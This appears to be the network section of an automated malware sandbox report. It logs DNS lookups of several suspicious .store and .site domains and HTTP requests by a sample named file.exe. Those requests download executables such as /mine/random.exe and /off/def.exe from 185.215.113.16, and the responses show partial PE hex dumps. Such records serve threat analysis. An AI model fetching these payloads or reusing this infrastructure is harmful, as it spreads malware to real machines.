Oct 24, 2024 04:03:50.170562029 CEST	192.168.2.7	1.1.1.1	0x43c3	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.179255962 CEST	192.168.2.7	1.1.1.1	0x231f	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.188801050 CEST	192.168.2.7	1.1.1.1	0xa005	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 04:01:19.788971901 CEST	1.1.1.1	192.168.2.7	0x7fdc	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:01:27.862133026 CEST	1.1.1.1	192.168.2.7	0x8479	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.877049923 CEST	1.1.1.1	192.168.2.7	0xa4d4	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.889911890 CEST	1.1.1.1	192.168.2.7	0x2157	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.900748014 CEST	1.1.1.1	192.168.2.7	0x4470	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.924685955 CEST	1.1.1.1	192.168.2.7	0xe7c9	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.935013056 CEST	1.1.1.1	192.168.2.7	0xf6fa	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.946902037 CEST	1.1.1.1	192.168.2.7	0x9dda	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.959952116 CEST	1.1.1.1	192.168.2.7	0x303	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:27.971158028 CEST	1.1.1.1	192.168.2.7	0xba2c	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:29.570122004 CEST	1.1.1.1	192.168.2.7	0xafb2	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:01:29.570122004 CEST	1.1.1.1	192.168.2.7	0xafb2	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.209749937 CEST	1.1.1.1	192.168.2.7	0xaeb7	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.220781088 CEST	1.1.1.1	192.168.2.7	0x9348	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.232320070 CEST	1.1.1.1	192.168.2.7	0xe332	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.243771076 CEST	1.1.1.1	192.168.2.7	0xe024	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.255485058 CEST	1.1.1.1	192.168.2.7	0xd3c	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.274521112 CEST	1.1.1.1	192.168.2.7	0x75e5	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.285048008 CEST	1.1.1.1	192.168.2.7	0x2949	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.294337034 CEST	1.1.1.1	192.168.2.7	0x4215	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:08.304938078 CEST	1.1.1.1	192.168.2.7	0x97f1	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.484966993 CEST	1.1.1.1	192.168.2.7	0x2734	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.497893095 CEST	1.1.1.1	192.168.2.7	0x8e68	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.510471106 CEST	1.1.1.1	192.168.2.7	0xacba	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.523500919 CEST	1.1.1.1	192.168.2.7	0xe341	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.534620047 CEST	1.1.1.1	192.168.2.7	0x6300	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.551704884 CEST	1.1.1.1	192.168.2.7	0xfc91	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.563514948 CEST	1.1.1.1	192.168.2.7	0x1687	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.574260950 CEST	1.1.1.1	192.168.2.7	0x4243	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:24.586179972 CEST	1.1.1.1	192.168.2.7	0x4ccf	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:29.853204966 CEST	1.1.1.1	192.168.2.7	0xed85	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:29.875354052 CEST	1.1.1.1	192.168.2.7	0x61e8	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.023524046 CEST	1.1.1.1	192.168.2.7	0x9d9d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:31.023524046 CEST	1.1.1.1	192.168.2.7	0x9d9d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.023869038 CEST	1.1.1.1	192.168.2.7	0xd490	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.035870075 CEST	1.1.1.1	192.168.2.7	0xe569	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.038161039 CEST	1.1.1.1	192.168.2.7	0x3155	No error (0)	youtube.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:31.044116974 CEST	1.1.1.1	192.168.2.7	0xae41	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 04:02:31.046998978 CEST	1.1.1.1	192.168.2.7	0x8d34	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 04:02:32.484093904 CEST	1.1.1.1	192.168.2.7	0x5817	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:32.484093904 CEST	1.1.1.1	192.168.2.7	0x5817	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.498030901 CEST	1.1.1.1	192.168.2.7	0x8f2c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.501718998 CEST	1.1.1.1	192.168.2.7	0x7881	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.615231991 CEST	1.1.1.1	192.168.2.7	0xf76f	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.615231991 CEST	1.1.1.1	192.168.2.7	0xf76f	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.615716934 CEST	1.1.1.1	192.168.2.7	0x6f0d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:32.642216921 CEST	1.1.1.1	192.168.2.7	0xb5f7	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.664489031 CEST	1.1.1.1	192.168.2.7	0x9464	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:33.664489031 CEST	1.1.1.1	192.168.2.7	0x9464	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.685082912 CEST	1.1.1.1	192.168.2.7	0x84c4	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:33.685082912 CEST	1.1.1.1	192.168.2.7	0x84c4	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:33.694560051 CEST	1.1.1.1	192.168.2.7	0x79f1	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:34.236763954 CEST	1.1.1.1	192.168.2.7	0x5e77	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:34.236763954 CEST	1.1.1.1	192.168.2.7	0x5e77	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:34.236763954 CEST	1.1.1.1	192.168.2.7	0x5e77	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:34.273802996 CEST	1.1.1.1	192.168.2.7	0x4471	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:34.308676958 CEST	1.1.1.1	192.168.2.7	0x6df3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 04:02:35.510091066 CEST	1.1.1.1	192.168.2.7	0x1ea8	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:02:59.699362993 CEST	1.1.1.1	192.168.2.7	0x53c7	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.714065075 CEST	1.1.1.1	192.168.2.7	0xdaf0	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.727741957 CEST	1.1.1.1	192.168.2.7	0xdacf	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.739334106 CEST	1.1.1.1	192.168.2.7	0x2fcf	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.752000093 CEST	1.1.1.1	192.168.2.7	0x98ce	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.764828920 CEST	1.1.1.1	192.168.2.7	0x1a31	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.777472973 CEST	1.1.1.1	192.168.2.7	0xa00b	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.793097019 CEST	1.1.1.1	192.168.2.7	0x1291	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:02:59.810679913 CEST	1.1.1.1	192.168.2.7	0xa360	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:04.974606991 CEST	1.1.1.1	192.168.2.7	0x271e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:05.118103981 CEST	1.1.1.1	192.168.2.7	0x7252	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:05.735363007 CEST	1.1.1.1	192.168.2.7	0xc8e2	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:05.735363007 CEST	1.1.1.1	192.168.2.7	0xc8e2	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:11.936662912 CEST	1.1.1.1	192.168.2.7	0x2dd8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:11.936662912 CEST	1.1.1.1	192.168.2.7	0x2dd8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:19.786417961 CEST	1.1.1.1	192.168.2.7	0xaad5	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:19.786417961 CEST	1.1.1.1	192.168.2.7	0xaad5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:19.858326912 CEST	1.1.1.1	192.168.2.7	0x3b56	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:20.377731085 CEST	1.1.1.1	192.168.2.7	0x7fdf	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:20.377731085 CEST	1.1.1.1	192.168.2.7	0x7fdf	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:24.856887102 CEST	1.1.1.1	192.168.2.7	0x32c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:24.856887102 CEST	1.1.1.1	192.168.2.7	0x32c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.122515917 CEST	1.1.1.1	192.168.2.7	0x5786	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:50.122515917 CEST	1.1.1.1	192.168.2.7	0x5786	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.123462915 CEST	1.1.1.1	192.168.2.7	0x2916	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.123462915 CEST	1.1.1.1	192.168.2.7	0x2916	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.123462915 CEST	1.1.1.1	192.168.2.7	0x2916	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.123462915 CEST	1.1.1.1	192.168.2.7	0x2916	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.124358892 CEST	1.1.1.1	192.168.2.7	0x91b6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.134356976 CEST	1.1.1.1	192.168.2.7	0x6391	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.134356976 CEST	1.1.1.1	192.168.2.7	0x6391	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.134356976 CEST	1.1.1.1	192.168.2.7	0x6391	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.134356976 CEST	1.1.1.1	192.168.2.7	0x6391	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.178284883 CEST	1.1.1.1	192.168.2.7	0x43c3	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:50.178284883 CEST	1.1.1.1	192.168.2.7	0x43c3	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:50.187200069 CEST	1.1.1.1	192.168.2.7	0x231f	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:03:51.469485044 CEST	1.1.1.1	192.168.2.7	0xf4af	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:03:51.469485044 CEST	1.1.1.1	192.168.2.7	0xf4af	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49837	185.215.113.16	80	7412	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:01:42.000030041 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:01:42.913618088 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:42 GMT Content-Type: application/octet-stream Content-Length: 1895936 Last-Modified: Thu, 24 Oct 2024 01:49:23 GMT Connection: keep-alive ETag: "6719a7a3-1cee00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K@WkJJ @.rsrc@.idata @ P*@iropgfss1@gmutwtzhJ@.taggant0J"@
Oct 24, 2024 04:01:42.913630009 CEST	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:01:42.914077044 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:01:42.914144039 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:01:42.914156914 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:01:42.914256096 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: j:Folz_NOR48_~-C3*VBl[oJ#>;\t'J-dR^n6
Oct 24, 2024 04:01:42.914269924 CEST	1236	IN	Data Raw: 40 b1 62 de a7 18 73 dc 07 b9 e1 55 5a 7d ff e5 ab 32 3e a2 67 2d 31 6d 48 29 10 7a 80 b5 1d 54 ba ba 3e 7c a1 5c 0f fe 6b ca 6e cf 89 b8 ff 49 80 3c 74 42 78 cb f6 21 99 19 25 aa dc 31 d2 e2 97 02 ff a1 8b ed 21 69 fc eb 5e bb ca 0a 2f 02 90 b1 Data Ascii: @bsUZ}2>g-1mH)zT>\|\knI<tBx!%1!i^/XsG!Z]6)[;\86]TIHRj\|t@8U >\:x#(,j1#m G1_0+G!N8^>~jbu0
Oct 24, 2024 04:01:42.914382935 CEST	424	IN	Data Raw: 0a fa 7f 3e 13 f9 25 a2 26 25 9c a0 92 91 e9 2a c2 ca 44 9d 3f 6a ea ea d8 5e 57 c0 8f 32 ae a8 db 4a 08 9d c7 d0 59 12 0a 0f 17 fe 1a bb b2 ac 7f 70 73 12 be c5 d6 fe 08 38 2f 44 18 ad 7b e7 6b 91 21 2c 33 11 75 22 be 0c ea 57 cc b9 04 9d 4c 19 Data Ascii: >%&%*D?j^W2JYps8/D{k!,3u"WLVl.F$.U}%,9j='h7nV3)Cq/3!yuc2QkJ-w+=F>b8d7S)f~Y7Aq7
Oct 24, 2024 04:01:42.914393902 CEST	1236	IN	Data Raw: fe fa 04 f4 f8 71 64 72 a3 6f 78 96 58 fa f4 eb b2 71 66 bf af f9 ca 36 7c 11 fd 6e dd 0b f2 89 38 26 98 b4 11 b9 70 39 40 80 b5 9e dd af ca aa 07 a2 32 f4 c8 c3 c5 82 f5 76 f4 43 3c ef 8c 0c a4 53 13 4a ba 6a 0d 1b 70 25 92 3e 6a bd 30 17 b8 eb Data Ascii: qdroxXqf6\|n8&p9@2vC<SJjp%>j0 jtAu&Z'hA?{<,Flb?56s;q1r]S~**86w\|%z}#%{Mfx\4M_'zkV2~QC
Oct 24, 2024 04:01:42.914405107 CEST	212	IN	Data Raw: 75 32 01 ed b7 b1 84 23 81 47 94 34 88 4d 32 52 00 ad 75 ef 7a 85 04 73 88 8c c9 bd 87 46 da 8d 5d aa 4a df 96 4a c6 2f d4 23 b5 2b 0e 6f 27 e6 18 40 81 aa aa 9f a8 3c 9f 5a 7f 0e 20 33 6a b7 6f ac 65 5a 77 cd a3 7a a9 e9 b2 14 f9 2e f0 d4 67 1d Data Ascii: u2#G4M2RuzsF]JJ/#+o'@<Z 3joeZwz.g[g'o4Y%9;Z[F&+nyA=4B#eDS= =7$P0B~*}<S'qqA[)Y1Py=7=}b~ b3^j
Oct 24, 2024 04:01:42.919091940 CEST	1236	IN	Data Raw: c2 05 a9 7d 1c a1 2e 4f 7e 60 e4 e5 d9 6e 36 f7 4d 11 bf a6 ba 39 0f 9e 9a 52 92 14 9c 29 e7 74 08 ca fa 62 ae 38 ad d0 b9 27 17 e0 2c 9d 78 e0 f4 b9 86 2d 1a f9 ff 22 7c 69 d0 fe 79 26 20 ae ce 93 0c 24 9a 51 79 cf 8b ad 6a 86 cf 73 3e c5 ff de Data Ascii: }.O~`n6M9R)tb8',x-"\|iy& $Qyjs>Ua3Az($YeUK)L(~p6mE3*#meb~:W@uAn%[\|g4Y"0b4?9J4I;XV5
Oct 24, 2024 04:01:45.703349113 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:01:45.984355927 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:01:45 GMT Content-Type: application/octet-stream Content-Length: 1918464 Last-Modified: Thu, 24 Oct 2024 01:49:16 GMT Connection: keep-alive ETag: "6719a79c-1d4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 90 6c 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6c 00 00 04 00 00 72 5c 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$l@lr\@P%d% %(@.rsrc %8@.idata %8@ +%:@fzxkvimrQ<@ubuokytul @.taggant0l"$@
Oct 24, 2024 04:01:47.708432913 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
